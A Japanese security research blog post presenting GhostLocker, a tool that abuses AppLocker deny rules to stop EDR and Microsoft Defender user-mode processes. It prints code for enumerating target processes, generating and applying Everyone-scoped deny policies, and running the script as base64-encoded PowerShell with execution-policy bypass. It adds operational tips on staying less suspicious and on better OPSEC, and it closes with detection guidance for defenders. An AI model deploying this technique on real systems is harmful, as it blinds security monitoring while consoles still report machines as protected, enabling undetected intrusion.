GhostLocker: AppLocker ベースの EDR 無効化

はじめに

Fairy-Law に関する私の記事で、カーネル緩和策を利用して EDR（Endpoint Detection & Response）ソリューションを無効化した方法について説明しましたが、diversenok 氏から、IFEO 除外設定（Image File Execution Options）はサードパーティ製アプリケーションに対して過剰に侵入的であるとの指摘を受けました。これにより、管理者がAppLockerを通じて本来持っている力を活用する、より優れたアプローチが生まれました。

このコンセプトは、diversenok 氏からの着想を得たものです。同氏は、管理者はシステム上のあらゆるソフトウェアを正当に制御できることを強調しました。この洞察から、AppLocker をネイティブの Windows 制御メカニズムとして利用する手法を開発しました。この研究では、EDR 制御のための AppLocker の技術的実装を探り、WDAC と比較し、実用的な概念実証ツールを提示します。

AppLocker: アプリケーションのホワイトリスト登録アーキテクチャ

AppLocker は Windows 7 で導入され、Windows 8.1、10（Enterprise）、Windows Server 2012/R2/2016+ で拡張されました。これはアプリケーションのホワイトリスト登録フレームワークであり、管理者が特定のユーザーまたはグループに対して、どの実行可能ファイル、スクリプト、インストーラの実行を許可するかを正確に定義できます。

内部アーキテクチャ（Windows 内部構造の観点）

ユーザーモードとカーネルコンポーネント:

AppIDSvc（アプリケーション ID サービス）

• LocalService アカウントで実行
• AppLocker ポリシーパスへのレジストリ変更を監視
• XML ベースのルール定義をバイナリ SDDL（Security Descriptor Definition Language）に変換
• DeviceIoControl を介してカーネルドライバにポリシー更新を通知

AppID.sys（カーネルドライバ）

• コールバックメカニズムを通じてプロセス作成イベントをインターセプト
• SeSrpAccessCheck を使用してルール評価を実行
• オプションで DLL ロードを監視（パフォーマンス上の理由からデフォルトでは無効）

補足説明：
AppID.sys はカーネルモードでルール評価を実行しますが、DLL の強制は自律的に行われません。
カーネルドライバはそれ自体で DLL ロードを積極的に監視するわけではありません。代わりに、ユーザーモードコンポーネントが IOCTL を介してドライバに明示的に問い合わせることで、DLL ロードが許可されているかどうかを判断する必要があります。
その結果、AppLocker の DLL ルールは事実上、クライアント側の保護メカニズムとして機能します。

ルールタイプと強制

AppLocker は 2 つの主要なルールカテゴリをサポートしています。

許可ルール: 定義されたアプリケーションの実行を明示的に許可

拒否ルール: 定義されたアプリケーションの実行を明示的にブロック

• 拒否ルールは常に許可ルールより優先されます
• 特定の条件に対する例外を含めることができます
• ユーザーおよびグループレベルのターゲット指定をサポート

ルール条件（AppID 属性）：

• パスベースのルール: C:\Program Files\Security\*.exe
• ハッシュベースのルール: SHA256 Authenticode ハッシュ検証
• 発行元ルール: デジタル署名、バージョン、製品名の検証
• ファイル属性ルール: 会社名、製品バージョンなど

レジストリの保存場所:

HKLM\Software\Policies\Microsoft\Windows\SrpV2     (XML ポリシーストレージ、永続的)
HKLM\SYSTEM\CurrentControlSet\Control\Srp\Gp\Exe  (SDDL バイナリ形式、アクティブな強制)
HKLM\SYSTEM\CurrentControlSet\Control\AppID\CertStore (証明書キャッシュ)

サービス & SYSTEM プロセスの強制（見落とされがち）

デフォルトでは、AppLocker はサービスや SYSTEM プロセスに対してルールを強制しません。
この動作を有効にするための GUI オプションはありません。

サービスに対する強制は、RuleCollectionExtensions を使用した XML ポリシーによってのみ有効にできます。

サービスに AppLocker ルールを強制するには、以下のポリシーセクションが必要です。

<RuleCollectionExtensions>
  <ThresholdExtensions>
    <Services EnforcementMode="Enabled"/>
  </ThresholdExtensions>
  <RedstoneExtensions>
    <SystemApps Allow="Enabled"/>
  </RedstoneExtensions>
</RuleCollectionExtensions>

拡張機能の名前が示すように、これらのオプションは Windows 10+ でのみサポートされており、それ以前のバージョンでは使用できません。 参照: Microsoft - AppLocker rule collection extensions

強制の流れ:

1. Windows がプロセス作成時に AppID ドライバに通知
2. AppID.sys がアプリケーション属性を評価
3. AppLocker ルールに基づいて、プロセスを許可またはブロック
4. ブロックされた場合、プロセス作成は STATUS_ACCESS_DISABLED_BY_POLICY_OTHER で中断される

重要な制限:

⚠️ AppLocker は実行中のプロセスを終了しません。

AppLocker の強制は新しいプロセス作成イベントにのみ適用されます。既に実行中の EDR プロセスは、システムの再起動まで実行を続けます。これは根本的なアーキテクチャ上の制約です。

カーネルドライバテレメトリに関する注意事項:

EDR のユーザーランド実行可能ファイルをブロックした後でも、カーネルドライバ（*.sys）はアクティブで動作し続けます。これらのドライバは引き続き:

• カーネルコールバック（プロセス、スレッド、イメージロード、レジストリ）を登録
• テレメトリデータを収集
• システムイベントを監視

しかし、広範なテストにより、このテレメトリは機能的に無効になることが明らかになっています。ユーザーランドの分析エンジン、相関システム、レポートメカニズムがなければ、生のテレメトリデータは実用的な検出に処理できません。EDR ソリューションは、以下にユーザーランドコンポーネントに大きく依存しています:

• イベントの相関と振る舞い分析
• 機械学習推論
• アラート生成と対応オーケストレーション
• 管理コンソールとの通信

GhostLocker: 概念実装

ツール概要

GhostLocker は、EDR 実行可能ファイルをブロックするための AppLocker ポリシー展開を自動化する C++ 実装です。

技術実装分析

実装バリアント

GhostLocker は 2 つの実装バリアントを提供します。

main.cpp – 動的列挙バージョン

このバージョンは、実行中のプロセスを列挙し、ネイティブ API（NtQuerySystemInformation）を使用して完全なイメージパスを解決します。
解決された絶対パスは、正確な AppLocker 拒否ルールを生成するために使用されます。

このツールは、CreateToolhelp32Snapshot と TH32CS_SNAPPROCESS を使用してすべての実行中プロセスを列挙します。プロセス名を、大文字小文字を区別しない比較（_wcsicmp）を使用して定義済みのターゲットリストと照合します。

なぜこのアプローチか？

• 軽量で高速な列挙
• プロセスリストの読み取りに昇格特権は不要
• 大文字小文字を区別しない比較で名前のバリエーションに対応

1. プロセス列挙（FindTargetsAndQueryPaths）

const wchar_t* targetNames[] = {
    L"MpDefenderCoreService.exe",
    L"MsMpEng.exe",
    L"WinDefend.exe",
    L"EDR_Component_Name.exe",
};

2. NtQuerySystemInformation によるパス解決

SYSTEM_PROCESS_ID_INFORMATION spi = { 0 };
spi.ProcessId = PID;
spi.ImageName.MaximumLength = 1024;
spi.ImageName.Buffer = (PWSTR)allocBuffer;

status = NtQuerySystemInformation(
    SystemProcessIdInformation,
    &spi,
    sizeof(spi),
    0
);

技術的詳細:

• ドキュメント化されていない SystemProcessIdInformation（0x58）情報クラスを使用
• NT デバイスパス形式を返す: \Device\HarddiskVolume3\Windows\System32\...
• AppLocker 互換性のため Win32 パス形式に変換する必要あり

パス変換ロジック:

std::wstring ForceHarddiskVolumeToC(const std::wstring& ntPath)
{
    const std::wstring prefix = L"\\Device\\HarddiskVolume3\\";
    if (ntPath.rfind(prefix, 0) == 0)
    {
        std::wstring rest = ntPath.substr(prefix.length());
        return L"C:\\" + rest;
    }
    return ntPath;
}

制限: HarddiskVolume3 のハードコードされた仮定。ボリューム番号を動的に解決するように改善すべき。

3. PowerShell ポリシー生成

このツールは、以下の完全な PowerShell スクリプトを埋め込みます:

a) ターゲットパスの検証

foreach ($exe in $ExeToBlock) {
    if (!(Test-Path $exe)) {
        Write-Host '[!] ERROR: File does not exist:' $exe -ForegroundColor Red
        exit 1
    }
}

b) 動的拒否ルールの生成

foreach ($exe in $ExeToBlock) {
    $id   = [guid]::NewGuid().ToString()
    $name = Split-Path $exe -Leaf
    
    $dynamicBlockRules += '<FilePathRule Id="' + $id + '" Name="Block ' + $name + 
                          '" Description="Blocked by policy" UserOrGroupSid="S-1-1-0" Action="Deny">'
    $dynamicBlockRules += '<Conditions><FilePathCondition Path="' + $exe + '" /></Conditions>'
    $dynamicBlockRules += '</FilePathRule>'
}

主要なポリシー要素:

• UserOrGroupSid="S-1-1-0": Everyone（すべてのユーザー）に適用
• Action="Deny": 明示的なブロックルール
• EnforcementMode="Enabled": EXE ルールのアクティブな強制
• 拒否ルールはフォールバック許可ルールの前に挿入される（優先順位）

c) ポリシーの適用

Set-AppLockerPolicy -XmlPolicy $tempPath -ErrorAction Stop
gpupdate /force | Out-Null

4. Base64 エンコードと実行

void RunPowerShellInMemory()
{
    std::wstring script = BuildFullPowerShellScript();
    const BYTE* bytes = reinterpret_cast<const BYTE*>(script.c_str());
    size_t byteLen = script.size() * sizeof(wchar_t);
    
    std::wstring encoded = Base64Encode(bytes, byteLen);
    std::wstring params = L"-NoProfile -ExecutionPolicy Bypass -EncodedCommand ";
    params += encoded;
    
    ShellExecuteW(NULL, L"runas", L"powershell.exe", params.c_str(), NULL, SW_SHOW);
}

技術的根拠:

• UTF-16LE エンコード: PowerShell の -EncodedCommand は UTF-16LE を期待
• Base64 エンコード: コマンドラインの文字制限をバイパス
• -ExecutionPolicy Bypass: スクリプト実行ポリシーを無視
• runas 動詞: UAC 昇格をトリガーして管理者権限を取得

main_improved.cpp – 静的ワイルドカードベースバージョン

diversenok 氏からの説明を受けて、AppLocker のパスルールはワイルドカードマッチングをサポートしており、実行可能ファイルの完全なパスは必要ないことが明らかになりました。

この改良版では、すべてのプロセス列挙とネイティブパス解決ロジックを削除し、代わりに *\MsMpEng.exe のような静的なワイルドカードルールに依存しています。

要件

⚠️ 正常に展開するための前提条件:

• 昇格された（管理者）コンテキストから実行する必要があります
• AppIDSvc サービスが実行中である必要があります: sc start AppIDSvc
• 完全な効果を得るには、展開後にシステムの再起動が必要です
• 列挙フェーズ中、ターゲットの EDR プロセスが実行中である必要があります

研究結果: 実際の EDR テスト

テスト方法論

複数の商用 EDR ソリューションに対して、有効性を評価するための広範な制御されたテストを実施しました。

テスト環境:

• Windows 11 (25H2)
• 複数の商用 EDR 製品（名前は非公開）
• ベースライン検出: 単純なプロセスインジェクション手法
• テスト前検証: EDR の検出能力を確認

主な発見

ブロック後の検出能力

振る舞い分析の失敗:

• テストしたすべての EDR ソリューションは、AppLocker ブロック後にアラートを生成できなかった
• 以前検出された単純なインジェクションも検出されず
• 怪しいアクティビティに対する振る舞い検出は一切トリガーされなかった

管理コンソールの視点:

• エージェントは引き続き「オンライン」および「保護済み」として報告
• 最終確認時刻のタイムスタンプは正常に更新された
• 管理インターフェースから侵害の兆候は一切なし

カーネルドライバテレメトリ分析

カーネルドライバは引き続き実行されテレメトリデータストリームを収集しているにもかかわらず、ユーザーランド処理コンポーネントがないため、収集されたデータは無効になりました。

引き続き動作するもの:

• カーネルコールバックは正常に発火（プロセス、スレッド、イメージロード、レジストリなど）
• 生のテレメトリデータ収集は継続
• ドライバ間の通信は機能する可能性あり

重要な洞察:

最新の EDR アーキテクチャは、カーネルドライバとユーザーランド分析エンジンの緊密な結合に依存しています。 この結合を断ち切ることで、テレメトリ収集が継続されていても EDR は事実上無効になります。

スクリーンショット（AppLocker ポリシーを列挙して適用）:

スクリーンショット（WinDefend 無効化）:

バージョン 2 のスクリーンショット

比較: WDAC と AppLocker

WDAC とは？

Windows Defender Application Control (WDAC) は Windows 10 で導入され、Microsoft の最新のアプリケーション制御フレームワークです。 ユーザーモードとカーネルモードの両方のバイナリにポリシーを強制します。

WDAC アーキテクチャ:

中核特性:

• システム全体の強制（すべてのユーザー、すべてのセッション）
• 起動前の強制
• デフォルト拒否モデル
• Code Integrity (CI) ポリシーエンジン
• カーネルドライバ署名の強制

WDAC ポリシーストレージ:

C:\Windows\System32\CodeIntegrity\SIPolicy.p7b    (アクティブポリシー、署名済み)
C:\Windows\System32\CodeIntegrity\CIPolicies\     (複数ポリシー)
EFI システムパーティション (UEFI 強制)

攻撃ベクトルとしての WDAC: Krueger

Krueger は、EDR ドライバブロックのための WDAC 悪用を実証しました:

主な違い:

• WDAC はドライバロード時（カーネル）にブロック
• AppLocker はプロセス作成時（ユーザーランド）にブロック

詳細比較マトリクス

実践的な攻撃の考慮事項

AppLocker (GhostLocker) を使用すべき場合:

• 目的がユーザーランドプロセスのブロックのみ
• カーネルドライバのテレメトリを維持したい（より疑われにくい）
• ターゲットブロックにユーザースコープのポリシーが必要

WDAC (Krueger スタイル) を使用すべき場合:

• 完全なドライバレベルブロックが必要
• ターゲットに WDAC 強制がない

検出と防止のガイダンス

1. 実行前のポリシー評価

Windows は Get-AppLockerFileInformation API を提供しており、現在の AppLocker ポリシーの下で特定の実行可能ファイルがブロックされるかどうかをテストできます。

EDR はこのメカニズムを使用して、ポリシー変更後に自社のバイナリやサービスが実行拒否されるかどうかを事前に確認できます。
コアコンポーネントが許可から拒否に移行した場合、これは信頼性の高い改ざん状態として扱われるべきです。

2. AppLocker ポリシー変更の監視

AppLocker ポリシーの更新は、ユーザーモードからの明示的な IOCTL 呼び出しを介して AppID.sys に伝えられます。
これにより、強制状態が変更されたことを示す明確なシグナルパスが提供されます。

カーネルドライバはこれらの通知を監視し、保護されたサービスのその後の実行失敗と関連付けることで、ポリシーベースの無効化を正確に検出できます。

3. 永続性と再起動の相関

AppLocker ポリシーは、明確に定義されたレジストリの場所に再起動後も永続化されます。
EDR ソリューションは、再起動前に関連するポリシー状態のスナップショットを作成し、システム起動後に強制の一貫性を検証できます。

期待される実行状態と再起動後の強制の間に不一致がある場合、意図的なポリシー操作を強く示唆します。

4. 組み込みの除外メカニズム

Windows には、SRP/AppLocker の強制からプロセスを除外するためのネイティブメカニズムが含まれています。
セキュリティ製品は、これらのメカニズムと統合して運用の継続性を確保することが期待されています。

これらの除外を考慮しないことは、AppLocker の制限ではなく、保護対象製品のアーキテクチャ上の見落としです。

まとめ

これらの検出戦略はいずれも、AppLocker のバイパスや Windows のセキュリティ境界の侵害を必要としません。
これらはすべて、オペレーティングシステムによって既に提供されている文書化された動作とインターフェースに依存しています。

結論

GhostLocker は、正当な Windows セキュリティ機能である AppLocker が、ユーザーランドプロセスのブロックを通じて EDR ソリューションを無効化するために悪用可能であることを示しています。 この研究は、カーネルテレメトリ収集とユーザーランド分析エンジンを緊密に結合する、現在の EDR 設計における根本的なアーキテクチャ上の脆弱性を浮き彫りにしています。

主なポイント:

1. AppLocker の有効性: 複数のベンダーの EDR ユーザーランドプロセスを正常にブロック
2. アーキテクチャ上の脆弱性: カーネルドライバは実行を続けるが、ユーザーランド処理がないため機能的に盲目になる
3. 検出の盲点: テストした EDR はブロック後に完全な検出失敗を示した
4. 管理コンソールの欺瞞: エージェントは侵害にもかかわらず「オンライン」および「保護済み」と表示される
5. システムネイティブ手法: 正当な Windows 機能を使用

今後の C# 実装に向けて:

• ピュア .NET のメモリ内実行（より優れた OPSEC）
• PowerShell 依存関係のない直接 API 使用

免責事項

この研究は教育および防御的なセキュリティ目的のみで提供されています。 説明されている手法は、明示的な許可を得た承認されたテスト環境でのみ使用されるべきです。

参考文献と詳細情報

• Windows Internals, Part 1 & 2 (7th Edition)
• AppLocker Technical Reference
• WDAC Design Guide
• Krueger: WDAC Abuse Tool

コミュニティからの貢献歓迎

GhostLocker への貢献、特に C# 実装に興味がある方は、大歓迎です。